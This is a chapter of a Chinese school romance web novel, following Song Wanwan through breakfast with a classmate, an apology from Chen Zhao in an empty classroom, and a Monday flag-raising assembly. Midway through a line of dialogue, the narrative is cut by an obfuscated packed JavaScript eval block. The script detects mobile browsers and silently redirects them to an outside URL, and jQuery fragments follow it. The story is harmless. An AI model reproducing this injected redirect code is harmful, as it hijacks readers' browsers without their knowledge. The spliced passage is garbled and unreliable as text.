银制雪月桂里水

28. 三步台阶

    门被关上。


    宋晚晚扶着门框站了有一会才转过身,她想自己应该回到房间里去。


    可是刘泽然走后,这个客厅就变得乱糟糟的。


    沙发上还有他坐过留下的痕迹,小白找出来玩耍的小鸭子丢在正中央,储物间的门没有关上,坏掉的狗粮堆得像山一样。


    斜阳西坠,沉闷地照下来,就好像人走了,还会回来,在某一个相似午后,铃响了,门开了,他语气轻佻,“怎么没换密码啊?不怕我当小偷吗?”


    眼睛笑的眯起来,让人分外讨厌。


    宋晚晚缓缓、缓缓靠坐在沙发上。


    有风吹过,夹带着微微下坠的闷热闯入室内,从她的下摆,到发梢,连成一体朝里推着。


    她轻轻舒出一口气,想着再休息三分钟就往楼上走。


    真的,就三分钟。


    在这个铃没有响、门没有开,过去总有一天会消失的夏天里,只睡着三分钟。


    -


    直到第二天早上,李静楠都没有回来。


    家里没什么吃的了,她环顾了一圈厨房,决心还是打车去学校,顺带在食堂买个早饭吧。


    毕竟底楼的鸡蛋饼那么好吃,一个月里总有那么两三天特别想吃。


    九月份的初秋还回荡在夏天里,早晨却已经带上股凉意。


    宋晚晚穿着短袖慢吞吞走进食堂,她今天特意早起了,来的还算早,诺大一片地方只零散坐了几个人。


    食堂阿姨看见她热情道,“一个鸡蛋饼?”


    宋晚晚不好意思地点了点头,“嗯嗯。”


    “再加两个香芋丸?”


    “对。”


    “小姑娘你每次来买都点这两个东西,一共六块五,我都记牢了。”


    她接过塑料袋子笑道,“谢谢阿姨。”


    没想到自己刚找到熟悉的座位坐下来,身边却响起一声疑问,“宋晚晚?”


    她一愣,诧异地转头,迎面是正在吃馄饨的人,“林晓?”


    他们一个班来着,位置也巧的很,是前后桌。如果这人不是她妈妈死对头家的儿子就更好了。


    宋晚晚回想自己一整个初中时期,每次成绩都被拿来跟他对比,而林晓是年级里出了名的学霸,几乎次次都是第一。


    怎么可能超过他?


    “我们初中不也在过同一个班吗?忘记我了吗?”


    宋晚晚尴尬地笑笑,“哈哈,也就一段时间,后来你不就去最好的班了嘛。”


    少年含糊不清,“我知道,你怎么在这啊,不是走读吗?”


    “我妈最近出差了,你呢?你家我记得,好像就在学校附近?”


    他笑了,“我妈说什么住宿学习更专心,一上高中就被办住宿了。你腿没事吧?”


    她头摇的飞速,“没事没事。”


    “你摔倒不会是因为听见顾媛玉要……”


    像是自知失语,他连同馄饨一起咽下没说完的话,重头开始说,“你摔倒不会是因为跑步还在复习吧?”


    气氛有些尴尬。


    宋晚晚觉得林晓大概所有的天赋点都点在了智商上,情商和以前一样还是没什么大变化,以至于说出不好听的话,说出难听的名字。


    吃馄饨的人似乎也意识到什么,声音低了下来,“对不起,我不太会说话,是我情商太低了,我怕说出来你听见了会不会不开心,但是又觉得我后来说的话好像也不是很好听。”


    她扑哧一声笑了出来,“没关系……”


    “我看你开学考考的好不错。”


    宋晚晚一愣,却发现眼前人正在很认真地看着自己,“你现在的化学比初中那会要好太多了,以前的你就很好,以后的你肯定更加好。”


    他说什么话都这么直接。


    好像父母辈的矛盾,总喜欢遗留到孩子身上。


    宋晚晚有时候觉得自己是一个矛盾体,会因为李静楠的比较而伤心,却又没法刻意冷淡跟林晓的关系。


    明明会因为丝毫的提及而害怕,心里又为了即将吃到的鸡蛋饼而期待。


    宋晚晚嘴角还是笑,却多了几分真挚,“怎么突然开始煽情了?不过你也是,别对以前的事情想那么多了。”


    她站起身,拎着早饭,眉眼很明媚,“哪天要是能把你考高分的秘诀传授给我就好了,年级第一。我先走了。”


    走出食堂门,先迎来的是三级台阶。


    太阳已经出来了,温暖微热的光一点点照耀过来,往后都是平地,走起来会轻松很多。


    夏天微凉的风吹过来,露在空气里的胳膊却终于能自由呼吸那样,带着一股畅快。


    宋晚晚轻轻舒了口气,她需要做的,只是用力地抬起脚,跨下这三级台阶就好。


    一,二,三。


    抬眼看,前方都是平坦的路。


    -


    一路上连值日的同学都还没来。


    宋晚晚捂着嘴忍不住打了个哈欠,眼角沁出水渍,心想吃完了说不定还能睡一会。


    另只手握住教室门推开,就这样吱哑一声,她手里的早饭吓得差点掉到地上。


    里面居然站着个人。


    高瘦人影像是同样被惊扰到,侧身看着她,拎起的书包顿在半空。


    昨晚最后一个走的人没有关上窗。


    破烂的银色窗帘被风轻柔地吹起来,飘到半空里,像加进面包里膨胀的酵母,沿着他的视线要一口气飞过来。


    衣摆,手臂,发梢,侧脸轮廓,条条缕缕的光穿过来。校服白到虚幻,他站在那里,像一场没有醒的梦。


    书包掉到椅子上发出不轻不重的一声。


    宋晚晚愣在原地,她空白一片的大脑才发应过来看到了什么。


    早上五点五十,只有两个人的教室,陈兆站在她面前,隔了整整八排课桌。


    风呼啦一声又吹了过来,窗外树叶摇曳,颤抖的影子被洒到他身后,忽而往前一点,掉到了手臂上。


    凝滞的时间好像在这一刻被打破。


    他匆匆忙忙弯腰捡书包。


    宋晚晚连忙低头,后颈都泛出酸涩。


    她假装什么都没看见般朝自己座位上走,直到抱着书包坐在原位,心才定下来。


    比起觉得跟自己有关,她更认为是昨晚老师说了什么早到的要求,两人误打误撞碰上而已。


    那看来自己运气还挺好的,即使没听见老师的话,依然来的也挺早。


    身后传来椅子划过地面的声音,脚步声也很轻。


    他大概离开教室了。


    宋晚晚松下一口气,她把书包挂在课桌边,书呀作业什么的全都拿出来,最后又把香喷喷的鸡蛋饼放到桌上。


    有点太诱人了。


    她手探进课桌想抽张纸,指尖一摸,却是格外粗糙的触感。


    什么东西?


    宋晚晚微微皱眉,她弯腰低下头,刚看见一张黄色的东西,正准备抽出来,忽然,别样的气息漫了过来。


    九月的早上带着微微寒意,身边落下来的却是一股温暖的气息,像晒干的酸橘子皮,让人无端觉得自己正该经历着长期坐车的眩晕。


    不然她怎么会有点头晕,傻傻地盯着探进她课桌里的那只手看。


    很瘦,很白,骨骼分明。


    隐隐约约,像听见了轻轻一声晃荡,宋晚晚被牵引着抬起头,陈兆站在她身侧,校服最上面一颗纽扣没扣上,以至于看得见那根银色的链子垂下。


    脖颈,喉结,下颚线,他低垂着的眼睫,都像被这一根链子牵引着,留出克制的距离。


    啪嗒一声。


    贴在她课桌里的黄色便利贴就这样被抽了出来。


    陈兆弯腰单手撑在她课桌旁,漂亮的肌肉曲线覆在小臂上,动作轻缓。


    “我想了很久。”


    “今天早上来这么早,是为了把便利贴放进你的课桌。”


    声音忽然从头顶掉到了地上。


    陈兆蹲下了身,仰着头,她不用再抬头看着,取而代之的是一种更直白对视的方式。


    他琥珀色的瞳孔迎着四面八方的亮度,变成玻璃那样盖着一层润润的光。


    而脸上的表情却很正经,“但是今天早上看到你,我想了想,还是想亲手给你。”


    宋晚晚头脑嗡的一声,心里有些紧张,难道后来又发生了什么吗,却已经听见蹲在她面前的人说道,“对不起,那天我不该自作主张扶起你的,后来站在你的角度想了想,我觉得有些尴尬,明明会有更好的方式。”


    他抿着唇,视线很轻,“如果让你感到不太开心的话,我很抱歉。”


    这句话说得很慢,每一个字都踏踏实实地落下来,传到耳朵里,连成字面含义。


    只是因为这样,所以说对不起。


    “道歉是我应该做的,我想比起纸条,这些话更想当面对你说。”


    他眼神很认真,能从里面看到一股叫尊重的情感,“因为我们是好朋友,所以本来就是我考虑的不够周到。”


    那枚银色的项链像又落回了他胸口处,隔着校服,顶出小小一块隆起。


    宋晚晚搁置在课桌上的指尖轻轻蜷缩着,她第一次接触像陈兆这样的人。


    不管什么时候都这么礼貌,对谁都这样尊重,有点太好了,好到像是一个完美朋友,以至于自己不知道该做出什么反应才好。


    她磕磕绊绊道,“你,要不你先起来。你也是乐于助人,这……好吧我当时确实有点尴尬,但是……好吧我当时确实有点不开心,但是我知道你也是好意。”


    走廊里忽然传来隐约声响,宋晚晚连忙抬头看了眼钟,心猛然一缩。


    糟糕,怎么已经六点了,林晓这个学霸从初中开始,每天六点准备到班级里背单词。


    她仓促拉着陈兆的衣服把他拽起来,“好了好了我原谅你了,现在我们赶紧还是继续不认识吧。”


    他像松了一口气,眼里流露出很柔软的笑意,比了个嘴型——好。


    “诶,陈兆?你今天来这么早?”


    宋晚晚已经转过身看着自己的鸡蛋饼坐着,她掩饰般把碎发别到耳后,一颗心忽上忽下跳着,怎么会搞得这么刺激。


    温柔的声音从身后传来,“嗯,我今天闹钟定错了,没想到来得这么早。”


    “难怪,你去哪儿啊?站在这?”


    “我去食堂买个早饭。”


    “哦,我今天早上吃了碗馄饨挺好吃的。”


    有很淡的笑声,“现在吃碗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665682|156765||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    馄饨估计来不及了,我去买个……鸡蛋饼就好。”


    “哦。”


    “宋晚晚。”


    她心里一隔愣,佯装意外地转身,“林晓,你叫我吗?”


    那人点点头,表情很认真,“你的鸡蛋饼是哪个食堂买的啊,看起来很好吃。”


    我们今天早上就是在一食堂遇见的,你说还能在哪儿?


    不过林晓,林晓所有的记忆都分给了知识,记不住也不怪他。


    她用很正常的口吻说,“一食堂,最左边那个窗口。”


    陈兆站在后门口,像不熟悉的同学那样礼貌道,“谢谢。”


    林晓转过了身朝自己座位上走,忽而抬头看了眼宋晚晚,“你咋不说不客气?”


    宋晚晚一口气差点没喘上来,这还不是因为站在你身后的那个人,趁你转身偷摸着朝我眨眼。


    她强装镇定地笑了笑,面色如常,“不客气。”


    教室后方的人又笑了,阳光落下来,漫长的白日开始了。


    -


    周一是升旗仪式。


    宋晚晚摔倒,已经是上周的事情了,这么几天里,刘泽然始终都没有给她发什么消息。


    “你闷气还没生完?都新的一周了,宋晚晚是扇了你几巴掌吗?这么生气?”


    陆林桥看了眼心不在焉的某人,嘲笑道,“不对,她要是打你巴掌,我估计你会开心死,觉得这是她在意你的表现,对吧?”


    刘泽然脚步顿了,他简直气到笑出来,“你当我是受虐狂?我只是讨厌这样晴朗的天气,这样晒的阳光,这么多的人。”


    陆林桥毫不留情地拆穿,“你是讨厌等下要见到宋晚晚,然后她一句话都不会跟你讲。”


    心情简直差到极点。


    他扯扯嘴角,冷着一张脸,“我和她关系现在比较一般,再说了,陆林桥你对我怎么可以这么恶毒地说话。”


    “呵呵,我恶毒?你怎么不说当年你搞出来的那个什么小说,你是校霸帅的很,人家挑家教老师我没话说,我呢?你给我安插个狗的角色算什么?”


    刘泽然没有再说话了,他觉得陆林桥又在借题发挥。


    搞笑,自己怎么会在升旗仪式的时候讨厌不跟自己说话的宋晚晚?


    刘泽然冷着脸站到人群里,像是怄气那样只盯着前方看。


    一个一个人头排成一竖列,这样的竖列站满了一整个操场,老师总说一分就是一操场的人,他现在终于感受到一分之差的恐怖之处了。


    阳光晒下来有些刺眼。


    他漫不经心地侧过头,淡淡道,“陆林桥,你看看我领子是不是歪了?”


    视线就这样一起,顺其自然地朝隔壁班偏。


    他头更歪了点,“帮我看看这边领子呢?”


    陆林桥简直忍无可忍,“你是不是当我傻子呢!”


    刘泽然没应,事实证明,即使有心,也很难遇见。


    明明就是隔壁班的关系,按照身高他一路排到很末端,放眼望去却找不到人。


    “哎嘛,陈兆的对手又来了?”


    姜泽混水摸鱼站过来,看着远方走来的人,一时半会也不肯走。


    蒋洲眯着眼睛看过去,“刘泽然?”


    “你猜宋晚晚会跟谁在一起?”


    “刘泽然。”


    “你就这么不支持你的好兄弟?”


    “那你呢?”


    “好吧,其实我也觉得是他,但是不能伤了陈兆的心。”


    说罢,姜泽猛然瞪大眼,左右张望着,“诶,江珉呢?”


    “今天他妹不是要上台念检讨嘛,当哥哥的不敢听,躲在教室里呢。”


    “那陈兆呢?”


    “被留下来当了会倾听的观众。”巡查老师越走越近,蒋洲戳了戳对方示意他站好,“应该快来了吧。”


    话音刚落,操场那头就急匆匆跑来个人影。


    陈兆站进去还没缓过来,两人就忍不住八卦着问,“又是因为周善宇?”


    “嗯。”他说得很轻,“江姜为了和周善宇出去玩翘考试被抓了,江珉说他一个当哥哥的特别羞愧。”


    抬起视线,想要融入人潮般,顺着一同朝前看去,却正对上宋晚晚走来的模样。


    旁边有人陪着她,两个人都是笑着的,眉眼弯起来,快要结束的夏天掉下来,碳酸水撞进冰块里的声音好像又响在耳边。


    “我是真没想到,你居然最后选科真改成和她一样的了,现在还真在一个班里。”


    陈兆回过神来,他不好意思地笑了,“幸好只差了十分。”


    幸好这还是我可以自己决定的事情。


    很明媚的上午,阳光落在脚边,带来阵阵炽热。


    虽然早上才刚见过,但陈兆有时候总觉得这样的见面很漫长,或许是因为等待的时间太长,说话的时间太短,平摊起来就转瞬即逝。


    他目光落在熟悉的位置,很多很多个瞬间重叠在一起。


    夏天很快就要结束了,接下来是初秋,新的学生入学,在一起读书的时间又被消磨掉了三分之一的长度。


    但。


    全校高中部三个年级,四十一个班级,一千八百五十六个同年级的学生里,总有一个人会记住你。